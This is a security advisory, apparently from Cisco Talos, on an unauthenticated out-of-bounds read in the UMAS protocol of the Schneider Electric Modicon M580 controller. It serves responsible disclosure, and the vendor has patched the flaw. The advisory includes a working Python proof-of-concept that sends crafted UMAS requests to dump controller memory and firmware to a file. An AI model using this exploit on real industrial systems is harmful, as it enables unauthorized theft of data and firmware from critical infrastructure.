An exploitable information disclosure vulnerability exists in the UMAS memory block read functionality of the Schneider Electric Modicon M580 Programmable Automation Controller. A specially crafted UMAS request can cause an out of bounds read, resulting in disclosure of sensitive information. An attacker can send unauthenticated commands to trigger this vulnerability.
Schneider Electric Modicon M580 BMEP582040 SV2.70
7.5 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
CWE-125: Out-of-bounds Read
The Modicon M580 is the latest in Schneider Electric's Modicon line of Programmable Automation Controllers. The device boasts a Wurldtech Achilles Level 2 certification and global policy controls to quickly enforce various security configurations. Communication with the device is possible over FTP, TFTP, HTTP, SNMP, EtherNet/IP, Modbus, and a management protocol referred to as UMAS.
The device supports a UMAS command that allows the user to read an arbitrary block of data from its programmed strategy, indicated by the use of the function code 0x20. During normal operation this command is intended to read data within the bounds of the designated memory block. Through manipulation of the command's offset field it is possible to read beyond the end of the targeted memory block, allowing an attacker to read data that should not be able to be seen.
When used with a short offset value and a low target block it is possible to read into other memory blocks. When used with a high target block (in testing block 0x8cd4 was used) and a large offset value, it is possible to read beyond the strategy memory space and access parts of the device firmware.
The structure of the MEMORYBLOCKREAD command takes a form similar to the following:
0 1 2 3 4 5 6 7 8 9 a b c d e f +---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+ 0 | A | B | C | D | E | F | G | +---+---+---+---+---+---+---+---+---+---+---+---+ A --> Modbus Function Code (0x5A) B --> Session C --> UMAS Function Code (0x20) D --> Unknown E --> Block Number (0x8CD4) F --> Offset G --> Size (0x0001)
import socket from scapy.all import Raw from scapy.contrib.modbus import ModbusADURequest from scapy.contrib.modbus import ModbusADUResponse import struct def send_message(sock, umas, data=None, wait_for_response=True): if data == None: packet = ModbusADURequest(transId=1)/umas else: packet = ModbusADURequest(transId=1)/umas/data msg = "%s" % Raw(packet) resp = "" sock.send(msg) if wait_for_response: resp = sock.recv(2048) return resp def main(): rhost = "192.168.10.1" rport = 502 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(10) s.connect((rhost, rport)) try: print "[!] This will take a few minutes" mbtcp_fnc = "\x5a" session = "\x00" umas_fnc = "\x20" unknown1 = "\x00" block_num = "\xd4\x8c" size = "\xff\x00" outfile = "modicon_m580_dump.bin" with open(outfile, 'wb+') as f: print "[*] Writing data to %s" % outfile # loop through all possible offsets, writing output to file for i in xrange(0x19668, 0xffffffff, 0xff): offset = struct.pack("<I", i) umas = "%s%s%s%s%s%s%s" % (mbtcp_fnc, session, umas_fnc, unknown1, block_num, offset, size) ret = send_message(s, umas) with open(outfile, 'ab') as f: f.write(ret[13:]) except socket.timeout: print "Socket timed out. Exiting..." # clean up s.close() if __name__ == '__main__': main()
2018-12-10 - Initial contact
2018-12-17 - Vendor acknowledged
2019-01-01 - 30 day follow up
2019-05-14 - Vendor Patched
2019-06-10 - Public Release
Discovered by Jared Rittle of Cisco Talos.